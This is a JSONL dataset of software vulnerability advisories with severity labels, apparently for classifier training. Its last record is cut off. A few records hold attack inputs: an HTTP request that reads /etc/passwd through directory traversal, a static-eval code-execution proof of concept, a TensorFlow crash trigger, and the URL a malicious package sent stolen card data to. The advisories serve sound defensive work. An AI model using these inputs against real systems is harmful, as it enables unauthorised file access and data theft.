-{"id": "fd13da93dcfdd7348f8c", "text": "Manipulation of product reviews via API\n\n### Impact\nManipulation of product reviews via API\n\n### Patches\nWe recommend updating to the current version 6.4.3.1. You can get the update to 6.4.3.1 regularly via the Auto-Updater or directly via the download overview.\n\nhttps://www.shopware.com/en/download/#shopware-6\n\n### Workarounds\nFor older versions of 6.1, 6.2, and 6.3, corresponding security measures are also available via a plugin. For the full range of functions, we recommend updating to the latest Shopware version.\n\nhttps://store.shopware.com/en/detail/index/sArticle/518463/number/Swag136939272659", "text_raw": "Manipulation of product reviews via API\n\n[Severity: MEDIUM]\n\n### Impact\nManipulation of product reviews via API\n\n### Patches\nWe recommend updating to the current version 6.4.3.1. You can get the update to 6.4.3.1 regularly via the Auto-Updater or directly via the download overview.\n\nhttps://www.shopware.com/en/download/#shopware-6\n\n### Workarounds\nFor older versions of 6.1, 6.2, and 6.3, corresponding security measures are also available via a plugin. For the full range of functions, we recommend updating to the latest Shopware version.\n\nhttps://store.shopware.com/en/detail/index/sArticle/518463/number/Swag136939272659\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-30", "split": "train"}
-{"id": "f2fce5e78919768519cf", "text": "plugin.yaml file allows for duplicate entries in helm\n\n### Impact\n\nDuring a security audit of Helm's code base, Helm maintainers identified a bug in which a Helm plugin can contain duplicates of the same entry, with the last one always used. If a plugin is compromised, this lowers the level of access that an attacker needs to modify a plugin's install hooks, causing a local execution attack.\n\nTo perform this attack, an attacker must have write access to the git repository or plugin archive (.tgz) while being downloaded (which can occur during a MITM attack on a non-SSL connection).\n\n### Patches\n\nThis issue has been patched in Helm 2.16.11 and Helm 3.3.2.\n\n### Workarounds\n\nMake sure to install plugins using a secure connection protocol like SSL.", "text_raw": "plugin.yaml file allows for duplicate entries in helm\n\n[Severity: LOW]\n\n### Impact\n\nDuring a security audit of Helm's code base, Helm maintainers identified a bug in which a Helm plugin can contain duplicates of the same entry, with the last one always used. If a plugin is compromised, this lowers the level of access that an attacker needs to modify a plugin's install hooks, causing a local execution attack.\n\nTo perform this attack, an attacker must have write access to the git repository or plugin archive (.tgz) while being downloaded (which can occur during a MITM attack on a non-SSL connection).\n\n### Patches\n\nThis issue has been patched in Helm 2.16.11 and Helm 3.3.2.\n\n### Workarounds\n\nMake sure to install plugins using a secure connection protocol like SSL.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-24", "split": "train"}
-{"id": "e6c8b16496986dd4af43", "text": "Validation bypass in jpv\n\njpv (aka Json Pattern Validator) before 2.2.2 does not properly validate input, as demonstrated by a corrupted array.", "text_raw": "Validation bypass in jpv\n\n[Severity: CRITICAL]\n\njpv (aka Json Pattern Validator) before 2.2.2 does not properly validate input, as demonstrated by a corrupted array.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-06", "split": "train"}
-{"id": "029a768925afe39e2ada", "text": "Malicious Package in css_transform_step\n\nVersion 1.0.6 of `css_transform_step` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n## Recommendation\n\nIf version 1.0.6 of this module is found installed you will want to replace it with a version before or after 1.0.6. In addition to replacing the installed module, you will also want to evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider downgrading to version 1.0.5", "text_raw": "Malicious Package in css_transform_step\n\n[Severity: CRITICAL]\n\nVersion 1.0.6 of `css_transform_step` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n\n\n## Recommendation\n\nIf version 1.0.6 of this module is found installed you will want to replace it with a version before or after 1.0.6. In addition to replacing the installed module, you will also want to evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider downgrading to version 1.0.5", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "ed37909e713a4ac05407", "text": "Unauthenticated Access Via OAI-PMH\n\n### Impact\n\nMedia publication via OAI-PMH allows unauthenticated public access to all media and metadata by default. OAI-PMH is part of the default workflow and is activated by default, requiring active user intervention of users to protect media. This leads to users unknowingly handing out public access to events without their knowledge.\n\n### Patches\n\nThe problem has been addressed in Opencast 7.6 and 8.1 where the OAI-PMH endpoint is configured to require users with `ROLE_ADMIN` by default. In addition to this, Opencast 9 removes the OAI-PMH publication from the default workflow, making the publication a conscious decision users have to make by updating their workflows.\n\n### Workarounds\n\nIn the organization security configuration (`etc/security/mh_default_org.xml`), change the roles required for accessing `/oaipmh` from `ROLE_ANONYMOUS` to `ROLE_ADMIN`.\n\n### References\n\n- [Public access configuration in the organization's security configuration](https://github.com/opencast/opencast/blob/1fb812c7810c78f09f29a7f455ff920417924307/etc/security/mh_default_org.xml#L271-L276)\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n- Open an issue in [opencast/opencast](https://github.com/opencast/opencast/issues)\n- For security-relevant information, email us at security@opencast.org", "text_raw": "Unauthenticated Access Via OAI-PMH\n\n[Severity: HIGH]\n\n### Impact\n\nMedia publication via OAI-PMH allows unauthenticated public access to all media and metadata by default. OAI-PMH is part of the default workflow and is activated by default, requiring active user intervention of users to protect media. This leads to users unknowingly handing out public access to events without their knowledge.\n\n\n### Patches\n\nThe problem has been addressed in Opencast 7.6 and 8.1 where the OAI-PMH endpoint is configured to require users with `ROLE_ADMIN` by default. In addition to this, Opencast 9 removes the OAI-PMH publication from the default workflow, making the publication a conscious decision users have to make by updating their workflows.\n\n### Workarounds\n\nIn the organization security configuration (`etc/security/mh_default_org.xml`), change the roles required for accessing `/oaipmh` from `ROLE_ANONYMOUS` to `ROLE_ADMIN`.\n\n### References\n\n- [Public access configuration in the organization's security configuration](https://github.com/opencast/opencast/blob/1fb812c7810c78f09f29a7f455ff920417924307/etc/security/mh_default_org.xml#L271-L276)\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n- Open an issue in [opencast/opencast](https://github.com/opencast/opencast/issues)\n- For security-relevant information, email us at security@opencast.org", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-01-30", "split": "train"}
-{"id": "ee1671e4674c27971565", "text": "Sandbox Breakout / Arbitrary Code Execution in static-eval\n\nAffected versions of `static-eval` pass untrusted user input directly to the global function constructor, resulting in an arbitrary code execution vulnerability when user input is parsed via the package.\n\n## Proof of concept\n```js\nvar evaluate = require('static-eval');\nvar parse = require('esprima').parse;\nvar src = '(function(){console.log(process.pid)})()';\nvar ast = parse(src).body[0].expression;\nvar res = evaluate(ast, {});\n// Will print the process id\n```\n\n## Recommendation\n\nUpdate to version 2.0.0 or later.", "text_raw": "Sandbox Breakout / Arbitrary Code Execution in static-eval\n\n[Severity: MEDIUM]\n\nAffected versions of `static-eval` pass untrusted user input directly to the global function constructor, resulting in an arbitrary code execution vulnerability when user input is parsed via the package.\n\n## Proof of concept\n```js\nvar evaluate = require('static-eval');\nvar parse = require('esprima').parse;\nvar src = '(function(){console.log(process.pid)})()';\nvar ast = parse(src).body[0].expression;\nvar res = evaluate(ast, {});\n// Will print the process id\n```\n\n\n## Recommendation\n\nUpdate to version 2.0.0 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-08-06", "split": "train"}
-{"id": "1eef6236f6a8f8825ac8", "text": "Directory Traversal in tencent-server\n\nAffected versions of `tencent-server` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in tencent-server\n\n[Severity: HIGH]\n\nAffected versions of `tencent-server` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "814cf4a5c18054162873", "text": "Directory Traversal in typo3/phar-stream-wrapper\n\nThe PharStreamWrapper (aka phar-stream-wrapper) package 2.x before 2.1.1 and 3.x before 3.1.1 for TYPO3 does not prevent directory traversal, which allows attackers to bypass a deserialization protection mechanism, as demonstrated by a phar:///path/bad.phar/../good.phar URL.", "text_raw": "Directory Traversal in typo3/phar-stream-wrapper\n\n[Severity: CRITICAL]\n\nThe PharStreamWrapper (aka phar-stream-wrapper) package 2.x before 2.1.1 and 3.x before 3.1.1 for TYPO3 does not prevent directory traversal, which allows attackers to bypass a deserialization protection mechanism, as demonstrated by a phar:///path/bad.phar/../good.phar URL.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-09-30", "split": "train"}
-{"id": "e68a30f543dc71e64645", "text": "OrientDB Server Community Edition uses insufficiently random values to generate session IDs\n\nOrientDB Server Community Edition before 2.0.15 and 2.1.x before 2.1.1 improperly relies on the `java.util.Random` class for generation of random Session ID values in the `server/network/protocol/http/OHttpSessionManager.java`, which makes it easier for remote attackers to predict a value by determining the internal state of the PRNG in this class.", "text_raw": "OrientDB Server Community Edition uses insufficiently random values to generate session IDs\n\n[Severity: MEDIUM]\n\nOrientDB Server Community Edition before 2.0.15 and 2.1.x before 2.1.1 improperly relies on the `java.util.Random` class for generation of random Session ID values in the `server/network/protocol/http/OHttpSessionManager.java`, which makes it easier for remote attackers to predict a value by determining the internal state of the PRNG in this class.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-18", "split": "train"}
-{"id": "32f9d9a6d33b0062b56b", "text": "Spring AOP functionality (Struts) vulnerable to DoS attack\n\nWhen using a Spring AOP functionality to secure Struts actions it is possible to perform a DoS attack. Solution is to upgrade to Apache Struts version 2.5.12 or 2.3.33.", "text_raw": "Spring AOP functionality (Struts) vulnerable to DoS attack\n\n[Severity: HIGH]\n\nWhen using a Spring AOP functionality to secure Struts actions it is possible to perform a DoS attack. Solution is to upgrade to Apache Struts version 2.5.12 or 2.3.33.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-16", "split": "train"}
-{"id": "5ba613e5d6b6a0f68ec6", "text": "Withdrawn, accidental duplicate publish.\n\nThe initialize method in the Histogram class in lib/colorscore/histogram.rb in the colorscore gem before 0.0.5 for Ruby allows context-dependent attackers to execute arbitrary code via shell metacharacters in the (1) image_path, (2) colors, or (3) depth variable.", "text_raw": "High severity vulnerability that affects colorscore\n\n[Severity: HIGH]\n\nWithdrawn, accidental duplicate publish.\r\n\r\nThe initialize method in the Histogram class in lib/colorscore/histogram.rb in the colorscore gem before 0.0.5 for Ruby allows context-dependent attackers to execute arbitrary code via shell metacharacters in the (1) image_path, (2) colors, or (3) depth variable.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-08-15", "split": "train"}
-{"id": "6a337be4b568a2aecaf1", "text": "Insecure template handling in Squirrelly\n\nSquirrelly is a template engine implemented in JavaScript that works out of the box with ExpressJS. Squirrelly mixes pure template data with engine configuration options through the Express render API. By overwriting internal configuration options remote code execution may be triggered in downstream applications. Version 9.0.0 has a fix for this issue. For complete details refer to the referenced [GHSL-2021-023](https://securitylab.github.com/advisories/GHSL-2021-023-squirrelly/).", "text_raw": "Insecure template handling in Squirrelly\n\n[Severity: HIGH]\n\nSquirrelly is a template engine implemented in JavaScript that works out of the box with ExpressJS. Squirrelly mixes pure template data with engine configuration options through the Express render API. By overwriting internal configuration options remote code execution may be triggered in downstream applications. Version 9.0.0 has a fix for this issue. For complete details refer to the referenced [GHSL-2021-023](https://securitylab.github.com/advisories/GHSL-2021-023-squirrelly/).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-17", "split": "train"}
-{"id": "5a3a4eb2c0c431585ab2", "text": "Directory Traversal in dasafio\n\nAffected versions of `dasafio` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in dasafio\n\n[Severity: MEDIUM]\n\nAffected versions of `dasafio` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "812b8b0659f40c86944a", "text": "Cross-Site Request Forgery in remdex/livehelperchat\n\nAn attacker is able to log out a user if a logged-in user visits the attacker's website. While this cannot harm a user's account, it can be a great annoyance and is a valid CSRF.", "text_raw": "Cross-Site Request Forgery in remdex/livehelperchat\n\n[Severity: LOW]\n\nAn attacker is able to log out a user if a logged-in user visits the attacker's website. While this cannot harm a user's account, it can be a great annoyance and is a valid CSRF.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-12-10", "split": "train"}
-{"id": "84c6b1a9204072936f6c", "text": "Malicious Package in reqest\n\nAll versions of `reqest` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "text_raw": "Malicious Package in reqest\n\n[Severity: CRITICAL]\n\nAll versions of `reqest` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "fb9a1f24c16be84677c4", "text": "Arbitrary Code Execution in jackson-databind\n\nFasterXML jackson-databind 2.x before 2.9.7, 2.8.11.3, 2.7.9.5, and 2.6.7.3 might allow remote attackers to execute arbitrary code by leveraging failure to block the slf4j-ext class from polymorphic deserialization.", "text_raw": "Arbitrary Code Execution in jackson-databind\n\n[Severity: CRITICAL]\n\nFasterXML jackson-databind 2.x before 2.9.7, 2.8.11.3, 2.7.9.5, and 2.6.7.3 might allow remote attackers to execute arbitrary code by leveraging failure to block the slf4j-ext class from polymorphic deserialization.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-01-04", "split": "train"}
-{"id": "18852924c8ca0b7d7316", "text": "Downloads Resources over HTTP in prince\n\nAffected versions of `prince` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `prince`.\n\n## Recommendation\n\nUpdate to version 1.4.6 or later.", "text_raw": "Downloads Resources over HTTP in prince\n\n[Severity: HIGH]\n\nAffected versions of `prince` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `prince`.\n\n\n## Recommendation\n\nUpdate to version 1.4.6 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "8c98f9c3175fee3ded10", "text": "Malicious Package in js-rha3\n\nVersion 0.8.0 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in js-rha3\n\n[Severity: CRITICAL]\n\nVersion 0.8.0 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "662aa563aede20a6a67a", "text": "Cross-Site Scripting in Content Preview (CType menu)\n\n### Problem\nIt has been discovered that content elements of type _menu_ are vulnerable to cross-site scripting when their referenced items get previewed in the page module. A valid backend user account is needed to exploit this vulnerability.\n\n### Solution\nUpdate to TYPO3 versions 7.6.51, 8.7.40, 9.5.25, 10.4.14, 11.1.1 that fix the problem described.\n\n### Credits\nThanks to TYPO3 contributor Oliver Bartsch who reported and fixed the issue.\n\n### References\n* [TYPO3-CORE-SA-2021-008](https://typo3.org/security/advisory/typo3-core-sa-2021-008)", "text_raw": "Cross-Site Scripting in Content Preview (CType menu)\n\n[Severity: MEDIUM]\n\n### Problem\nIt has been discovered that content elements of type _menu_ are vulnerable to cross-site scripting when their referenced items get previewed in the page module. A valid backend user account is needed to exploit this vulnerability.\n\n### Solution\nUpdate to TYPO3 versions 7.6.51, 8.7.40, 9.5.25, 10.4.14, 11.1.1 that fix the problem described.\n\n### Credits\nThanks to TYPO3 contributor Oliver Bartsch who reported and fixed the issue.\n\n### References\n* [TYPO3-CORE-SA-2021-008](https://typo3.org/security/advisory/typo3-core-sa-2021-008)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-23", "split": "train"}
-{"id": "8ebd12ef87577bdb3240", "text": "Double Free in psutil\n\npsutil (aka python-psutil) through 5.6.5 can have a double free. This occurs because of refcount mishandling within a while or for loop that converts system data into a Python object.", "text_raw": "Double Free in psutil\n\n[Severity: HIGH]\n\npsutil (aka python-psutil) through 5.6.5 can have a double free. This occurs because of refcount mishandling within a while or for loop that converts system data into a Python object.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-03-12", "split": "train"}
-{"id": "1579582d0023f20bb7d9", "text": "BS.Player v2.51 build 1022 (Media Library) Remote Buffer Overflow Vulnerability", "text_raw": "BS.Player v2.51 build 1022 (Media Library) Remote Buffer Overflow Vulnerability\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2010-03-05", "split": "train"}
-{"id": "fdeecb6f4827db09b7f6", "text": "Division by 0 in `QuantizedBiasAdd`\n\n### Impact\nAn attacker can trigger an integer division by zero undefined behavior in `tf.raw_ops.QuantizedBiasAdd`:\n\n```python\nimport tensorflow as tf\n\ninput_tensor = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.quint8)\nbias = tf.constant([], shape=[0], dtype=tf.quint8)\nmin_input = tf.constant(-10.0, dtype=tf.float32)\nmax_input = tf.constant(-10.0, dtype=tf.float32)\nmin_bias = tf.constant(-10.0, dtype=tf.float32)\nmax_bias = tf.constant(-10.0, dtype=tf.float32)\n\ntf.raw_ops.QuantizedBiasAdd(input=input_tensor, bias=bias, min_input=min_input,\n                            max_input=max_input, min_bias=min_bias,\n                            max_bias=max_bias, out_type=tf.qint32)\n```\n\nThis is because the [implementation of the Eigen kernel](https://github.com/tensorflow/tensorflow/blob/61bca8bd5ba8a68b2d97435ddfafcdf2b85672cd/tensorflow/core/kernels/quantization_utils.h#L812-L849) does a division by the number of elements of the smaller input (based on shape) without checking that this is not zero:\n\n```cc\ntemplate <typename T1, typename T2, typename T3>\nvoid QuantizedAddUsingEigen(const Eigen::ThreadPoolDevice& device,\n                            const Tensor& input, float input_min,\n                            float input_max, const Tensor& smaller_input,\n                            float smaller_input_min, float smaller_input_max,\n                            Tensor* output, float* output_min,\n                            float* output_max) {\n  ...\n  const int64 input_element_count = input.NumElements();\n  const int64 smaller_input_element_count = smaller_input.NumElements();\n  ...\n  bcast[0] = input_element_count / smaller_input_element_count;\n  ...\n}\n```\n\nThis integral division by 0 is undefined behavior.\n\n### Patches\nWe have patched the issue in GitHub commit [67784700869470d65d5f2ef20aeb5e97c31673cb](https://github.com/tensorflow/tensorflow/commit/67784700869470d65d5f2ef20aeb5e97c31673cb).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "text_raw": "Division by 0 in `QuantizedBiasAdd`\n\n[Severity: LOW]\n\n### Impact\nAn attacker can trigger an integer division by zero undefined behavior in `tf.raw_ops.QuantizedBiasAdd`:\n\n```python\nimport tensorflow as tf\n\ninput_tensor = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.quint8)\nbias = tf.constant([], shape=[0], dtype=tf.quint8)\nmin_input = tf.constant(-10.0, dtype=tf.float32)\nmax_input = tf.constant(-10.0, dtype=tf.float32)\nmin_bias = tf.constant(-10.0, dtype=tf.float32)\nmax_bias = tf.constant(-10.0, dtype=tf.float32)\n\ntf.raw_ops.QuantizedBiasAdd(input=input_tensor, bias=bias, min_input=min_input,\n                            max_input=max_input, min_bias=min_bias,\n                            max_bias=max_bias, out_type=tf.qint32)\n```\n\nThis is because the [implementation of the Eigen kernel](https://github.com/tensorflow/tensorflow/blob/61bca8bd5ba8a68b2d97435ddfafcdf2b85672cd/tensorflow/core/kernels/quantization_utils.h#L812-L849) does a division by the number of elements of the smaller input (based on shape) without checking that this is not zero:\n\n```cc\ntemplate <typename T1, typename T2, typename T3>\nvoid QuantizedAddUsingEigen(const Eigen::ThreadPoolDevice& device,\n                            const Tensor& input, float input_min,\n                            float input_max, const Tensor& smaller_input,\n                            float smaller_input_min, float smaller_input_max,\n                            Tensor* output, float* output_min,\n                            float* output_max) {\n  ...\n  const int64 input_element_count = input.NumElements();\n  const int64 smaller_input_element_count = smaller_input.NumElements();\n  ...\n  bcast[0] = input_element_count / smaller_input_element_count;\n  ...\n}\n```\n\nThis integral division by 0 is undefined behavior.\n\n### Patches\nWe have patched the issue in GitHub commit [67784700869470d65d5f2ef20aeb5e97c31673cb](https://github.com/tensorflow/tensorflow/commit/67784700869470d65d5f2ef20aeb5e97c31673cb).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "85ed51869a4eec364f0c", "text": "ThinkPHP5 SQL Injection vulnerability\n\nSQL Injection vulnerability exists in ThinkPHP5 5.0.x <=5.1.22 via the parseOrder function in Builder.php.", "text_raw": "ThinkPHP5 SQL Injection vulnerability\n\n[Severity: CRITICAL]\n\nSQL Injection vulnerability exists in ThinkPHP5 5.0.x <=5.1.22 via the parseOrder function in Builder.php.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-12-17", "split": "train"}
-{"id": "bd99f695529d739712f3", "text": "Downloads Resources over HTTP in aerospike\n\nAffected versions of `aerospike` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `aerospike`.\n\n## Recommendation\n\nUpdate to version 2.4.2 or later", "text_raw": "Downloads Resources over HTTP in aerospike\n\n[Severity: HIGH]\n\nAffected versions of `aerospike` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `aerospike`.\n\n\n## Recommendation\n\nUpdate to version 2.4.2 or later", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "498d0c7fd737e63ed057", "text": "Command injection in connection-tester\n\nThis affects the package connection-tester before 0.2.1. The injection point is located in line 15 in index.js. Affected versions of this package are vulnerable to Command Injection", "text_raw": "Command injection in connection-tester\n\n[Severity: CRITICAL]\n\nThis affects the package connection-tester before 0.2.1. The injection point is located in line 15 in index.js. Affected versions of this package are vulnerable to Command Injection", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-12-17", "split": "train"}
-{"id": "e71563f97eed0289577d", "text": "Apache HTTP Server Path Traversal Vulnerability\n\nAffected: Apache HTTP Server\n\nApache HTTP Server contains a path traversal vulnerability that allows an attacker to perform remote code execution if files outside directories configured by Alias-like directives are not under default require all denied or if CGI scripts are enabled. This CVE ID resolves an incomplete patch for CVE-2021-41773.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-22\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Apache HTTP Server Path Traversal Vulnerability\n\nAffected: Apache HTTP Server\n\nApache HTTP Server contains a path traversal vulnerability that allows an attacker to perform remote code execution if files outside directories configured by Alias-like directives are not under default require all denied or if CGI scripts are enabled. This CVE ID resolves an incomplete patch for CVE-2021-41773.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-22\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "20dad9c305c94bd6ff3f", "text": "Cross-site Scripting (XSS) in moodle\n\nIn Moodle, it was possible to include JavaScript when re-naming content bank items. Versions affected: 3.9 to 3.9.2. This is fixed in moodle 3.9.3 and 3.10.", "text_raw": "Cross-site Scripting (XSS) in moodle\n\n[Severity: MEDIUM]\n\nIn Moodle, it was possible to include JavaScript when re-naming content bank items. Versions affected: 3.9 to 3.9.2. This is fixed in moodle 3.9.3 and 3.10.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-29", "split": "train"}
-{"id": "4bdfea0e1912cb9f068b", "text": "Ivanti Pulse Connect Secure Code Execution Vulnerability\n\nAffected: Ivanti Pulse Connect Secure\n\nIvanti Pulse Connect Secure contains an unspecified vulnerability in the admin web interface that could allow an authenticated attacker to upload a custom template to perform code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-94\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Ivanti Pulse Connect Secure Code Execution Vulnerability\n\nAffected: Ivanti Pulse Connect Secure\n\nIvanti Pulse Connect Secure contains an unspecified vulnerability in the admin web interface that could allow an authenticated attacker to upload a custom template to perform code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-94\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "80100d2bdcd4dbcfd529", "text": "Omeka 2.2 CSRF And Stored XSS Vulnerability", "text_raw": "Omeka 2.2 CSRF And Stored XSS Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2014-07-17", "split": "train"}
-{"id": "aadadb87daed883b94d4", "text": "Regular Expression Denial of Service in content\n\nAffected versions of `content` are vulnerable to a regular expression denial of service when parsing malicious `Content-Type` and `Content-Disposition` headers.\n\n## Recommendation\n\nUpdate to version 3.0.6 or later.", "text_raw": "Regular Expression Denial of Service in content\n\n[Severity: HIGH]\n\nAffected versions of `content` are vulnerable to a regular expression denial of service when parsing malicious `Content-Type` and `Content-Disposition` headers.\n\n\n## Recommendation\n\nUpdate to version 3.0.6 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-24", "split": "train"}
-{"id": "21babf92aaee94566669", "text": "Untrusted data can lead to DoS attack due to hash collisions and stack overflow in MessagePack\n\n### Impact\n\nWhen this library is used to deserialize messagepack data from an untrusted source, there is a risk of a denial of service attack by either of two vectors:\n\n1. hash collisions - leading to large CPU consumption disproportionate to the size of the data being deserialized.\n1. stack overflow - leading to the deserializing process crashing.\n\n### Patches\n\nThe following steps are required to mitigate this risk.\n\n1. Upgrade to a version of the library where a fix is available\n1. Add code to your application to put MessagePack into the defensive `UntrustedData` mode.\n1. Identify all MessagePack extensions that implement `IMessagePackFormatter<T>` implementations that do not ship with the MessagePack library to include the security mitigations. This includes those acquired from 3rd party packages and classes included directly into your project. Any AOT formatters generated with the MPC tool must be regenerated with the patched version of mpc.\n1. Review your messagepack-serializable data structures for hash-based collections that use custom or unusual types for the hashed key. See below for details on handling such situations.\n\nReview the `MessagePackSecurity` class to tweak any settings as necessary to strike the right balance between performance, functionality, and security.\n\nSpecialized `IEqualityComparer<T>` implementations provide the hash collision resistance.\nEach type of hashed key may require a specialized implementation of its own.\nThe patched MessagePack library includes many such implementations for primitive types commonly used as keys in hash-based collections.\nIf your data structures use custom types as keys in these hash-based collections,\nputting MessagePack in `UntrustedData` mode may lead the deserializer to throw an exception\nbecause no safe `IEqualityComparer<T>` is available for your custom `T` type.\nYou can provide your own safe implementation by deriving from the `MessagePackSecurity` class\nand overriding the `GetHashCollisionResistantEqualityComparer<T>()` method to return your 